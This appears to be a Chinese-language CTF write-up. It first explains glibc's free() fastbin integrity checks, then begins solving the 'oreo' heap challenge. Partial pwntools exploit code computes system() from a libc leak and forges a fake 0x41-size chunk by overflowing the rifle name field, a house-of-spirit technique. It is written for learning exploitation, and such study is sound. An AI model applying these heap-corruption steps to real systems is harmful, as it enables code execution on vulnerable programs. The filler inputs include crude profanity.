if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ // 检查大小是否大于最小的chunk,是否对齐 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ // 检查该chunk是否符合fastbin if ((unsignedlong)(size) <= (unsignedlong)(get_max_fast ())) {
// 检查nextchunk的size是否小于最小chunk要求,或大于系统最大chunk if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { bool fail = true; /* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */ // 检查是否有lock if (!have_lock) { __libc_lock_lock (av->mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem); __libc_lock_unlock (av->mutex); }
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ // 使用原子操作将该chunk插入其中 mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P) { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ // 检查上一次插入的chunk是否与p相同,若相同则为double free if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old; *fb = p; } else do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
/* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ // 确保插入前后相同 if (have_lock && old != NULL && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr ("invalid fastbin entry (free)"); }
下面我们来做一道题看看
OREO
Basic Info:
1 2 3 4 5 6
[*] '/ctf/work/pwn/fastbin/oreo/oreo' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
该程序的大概逻辑是这样的,这是一个枪支系统。枪支的结构体如下:
1 2 3 4 5
00000000 rifle struc ; (sizeof=0x38, mappedto_5) 00000000 descript db 25 dup(?) 00000019 name db 27 dup(?) 00000034 prev dd ? ; offset 00000038 rifle ends
defget_system_addr(addr, libc_addr): base = addr - libc_addr system_addr = base + system_libc log.info("system_addr -> " + hex(system_addr)) return system_addr
deffake_chunk(): # We need to make the size of chunk 0x41 for i in range(0x40-1): add_refles(str(i), "fuck u")
# make a chunk to set the house into link name = 'a' * 27 + p32(message_addr) desc = "fuck U!" log.info("name -> " + name) log.info("desc -> " + desc) add_refles(name, desc)